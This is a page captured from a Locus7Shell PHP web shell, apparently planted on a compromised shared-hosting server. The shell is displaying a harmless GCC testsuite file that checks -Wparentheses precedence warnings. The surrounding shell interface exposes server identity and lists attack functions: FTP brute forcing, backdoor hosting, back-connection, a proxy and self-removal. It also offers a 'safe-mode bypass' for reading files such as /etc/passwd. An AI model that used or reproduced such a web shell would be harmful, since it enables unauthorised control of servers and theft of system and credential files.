Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wparentheses-11.c (8.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR 7543. Test operation of -Wparentheses.  Precedence warnings.  
   !a | b and !a & b. */
/* { dg-do compile } */
/* { dg-options "-Wparentheses" } */

int foo (int);

int
bar (int a, int b, int c)
{
  foo (!a & b); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (b < c));
  foo (!a & (b > c));
  foo (!a & (b == c));
  foo (!a & (b != c));
  foo (!a & (b <= c));
  foo (!a & (b >= c));
  foo (!a & (b && c));
  foo (!a & (b || c));
  foo (!a & !b);
  foo (!(a & b));
  foo ((!a) & b);
  foo (!a & 2); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (2 < c));
  foo (!a & (2 > c));
  foo (!a & (2 == c));
  foo (!a & (2 != c));
  foo (!a & (2 <= c));
  foo (!a & (2 >= c));
  foo (!a & (2 && c));
  foo (!a & (2 || c));
  foo (!a & !2);
  foo (!(a & 2));
  foo ((!a) & 2);
  foo (!1 & 2); /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 & (2 < c));
  foo (!1 & (2 > c));
  foo (!1 & (2 == c));
  foo (!1 & (2 != c));
  foo (!1 & (2 <= c));
  foo (!1 & (2 >= c));
  foo (!1 & (2 && c));
  foo (!1 & (2 || c));
  foo (!1 & !2);
  foo (!(1 & 2));

  foo (!a | b); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (b < c));
  foo (!a | (b > c));
  foo (!a | (b == c));
  foo (!a | (b != c));
  foo (!a | (b <= c));
  foo (!a | (b >= c));
  foo (!a | (b && c));
  foo (!a | (b || c));
  foo (!a | !b);
  foo (!(a | b));
  foo ((!a) | b);
  foo (!a | 2); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (2 < c));
  foo (!a | (2 > c));
  foo (!a | (2 == c));
  foo (!a | (2 != c));
  foo (!a | (2 <= c));
  foo (!a | (2 >= c));
  foo (!a | (2 && c));
  foo (!a | (2 || c));
  foo (!a | !2);
  foo (!(a | 2));
  foo ((!a) | 2);
  foo (!1 | 2); /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 | (2 < c));
  foo (!1 | (2 > c));
  foo (!1 | (2 == c));
  foo (!1 | (2 != c));
  foo (!1 | (2 <= c));
  foo (!1 | (2 >= c));
  foo (!1 | (2 && c));
  foo (!1 | (2 || c));
  foo (!1 | !2);
  foo (!(1 | 2));
  foo ((!1) | 2);

  foo (b & !a); /* { dg-bogus "parentheses" "bogus warning" } */
  foo ((b < c) & !a);
  foo ((b > c) & !a);
  foo ((b == c) & !a);
  foo ((b != c) & !a);
  foo ((b <= c) & !a);
  foo ((b >= c) & !a);
  foo ((b && c) & !a);
  foo ((b || c) & !a);
  foo (!b & !a);
  foo (!(b & a));
  foo (b & (!a));
  foo (2 & !a); /* { dg-bogus "parentheses" "correct warning" } */
  foo ((2 < c) & !a);
  foo ((2 > c) & !a);
  foo ((2 == c) & !a);
  foo ((2 != c) & !a);
  foo ((2 <= c) & !a);
  foo ((2 >= c) & !a);
  foo ((2 && c) & !a);
  foo ((2 || c) & !a);
  foo (!2 & !a);
  foo (!(2 & a));
  foo (2 & (!a));
  foo (2 & !1); /* { dg-bogus "parentheses" "correct warning" } */
  foo ((2 < c) & !1);
  foo ((2 > c) & !1);
  foo ((2 == c) & !1);
  foo ((2 != c) & !1);
  foo ((2 <= c) & !1);
  foo ((2 >= c) & !1);
  foo ((2 && c) & !1);
  foo ((2 || c) & !1);
  foo (!2 & !1);
  foo (!(2 & 1));

  foo (b | !a); /* { dg-bogus "parentheses" "correct warning" } */
  foo ((b < c) | !a);
  foo ((b > c) | !a);
  foo ((b == c) | !a);
  foo ((b != c) | !a);
  foo ((b <= c) | !a);
  foo ((b >= c) | !a);
  foo ((b && c) | !a);
  foo ((b || c) | !a);
  foo (!b | !a);
  foo (!(b | a));
  foo (b | (!a));
  foo (2 | !a); /* { dg-bogus "parentheses" "correct warning" } */
  foo ((2 < c) | !a);
  foo ((2 > c) | !a);
  foo ((2 == c) | !a);
  foo ((2 != c) | !a);
  foo ((2 <= c) | !a);
  foo ((2 >= c) | !a);
  foo ((2 && c) | !a);
  foo ((2 || c) | !a);
  foo (!2 | !a);
  foo (!(2 | a));
  foo (2 | (!a));
  foo (2 | !1); /* { dg-bogus "parentheses" "correct warning" } */
  foo ((2 < c) | !1);
  foo ((2 > c) | !1);
  foo ((2 == c) | !1);
  foo ((2 != c) | !1);
  foo ((2 <= c) | !1);
  foo ((2 >= c) | !1);
  foo ((2 && c) | !1);
  foo ((2 || c) | !1);
  foo (!2 | !1);
  foo (!(2 | 1));
  foo (2 | (!1));
}

int
baz (int a, int b, int c)
{
  foo (!a & (b << c));/* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (b >> c));/* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (b + c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (b - c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (b = c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & ~b);      /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (b & c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (b | c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & 2);       /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (2 << c));/* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (2 >> c));/* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (2 + c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (2 - c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (c = 2)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & ~2);      /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (2 & c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a & (2 | c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 & (2 << c));/* { dg-warning "parentheses" "correct warning" } */
  foo (!1 & (2 >> c));/* { dg-warning "parentheses" "correct warning" } */
  foo (!1 & (2 + c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 & (2 - c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 & (c = 2)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 & ~2);      /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 & (2 & c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 & (2 | c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (b << c));/* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (b >> c));/* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (b + c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (b - c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (b = c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | ~b);      /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (b & c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (b | c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (2 << c));/* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (2 >> c));/* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (2 + c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (2 - c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (c = 2)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | ~2);      /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (2 & c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!a | (2 | c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 | (2 << c));/* { dg-warning "parentheses" "correct warning" } */
  foo (!1 | (2 >> c));/* { dg-warning "parentheses" "correct warning" } */
  foo (!1 | (2 + c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 | (2 - c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 | (c = 2)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 | ~2);      /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 | (2 & c)); /* { dg-warning "parentheses" "correct warning" } */
  foo (!1 | (2 | c)); /* { dg-warning "parentheses" "correct warning" } */
  foo ((b << c) & !a);
  foo ((b >> c) & !a);
  foo ((b + c) & !a);
  foo ((b - c) & !a);
  foo ((b = c) & !a);
  foo (~b & !a);
  foo ((b & c) & !a);
  foo ((b | c) & !a);
  foo ((2 << c) & !a);
  foo ((2 >> c) & !a);
  foo ((2 + c) & !a);
  foo ((2 - c) & !a);
  foo ((c = 2) & !a);
  foo (~2 & !a);
  foo ((2 & c) & !a);
  foo ((2 | c) & !a);
  foo ((2 << c) & !1);
  foo ((2 >> c) & !1);
  foo ((2 + c) & !1);
  foo ((2 - c) & !1);
  foo ((c = 2) & !1);
  foo (~2 & !1);
  foo ((2 & c) & !1);
  foo ((2 | c) & !1);
  foo ((b << c) | !a);
  foo ((b >> c) | !a);
  foo ((b + c) | !a);
  foo ((b - c) | !a);
  foo ((b = c) | !a);
  foo (~b | !a);
  foo ((b & c) | !a);
  foo ((b | c) | !a);
  foo ((2 << c) | !a);
  foo ((2 >> c) | !a);
  foo ((2 + c) | !a);
  foo ((2 - c) | !a);
  foo ((c = 2) | !a);
  foo (~2 | !a);
  foo ((2 & c) | !a);
  foo ((2 | c) | !a);
  foo ((2 << c) | !1);
  foo ((2 >> c) | !1);
  foo ((2 + c) | !1);
  foo ((2 - c) | !1);
  foo ((c = 2) | !1);
  foo (~2 | !1);
  foo ((2 & c) | !1);
  foo ((2 | c) | !1);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0058 ]--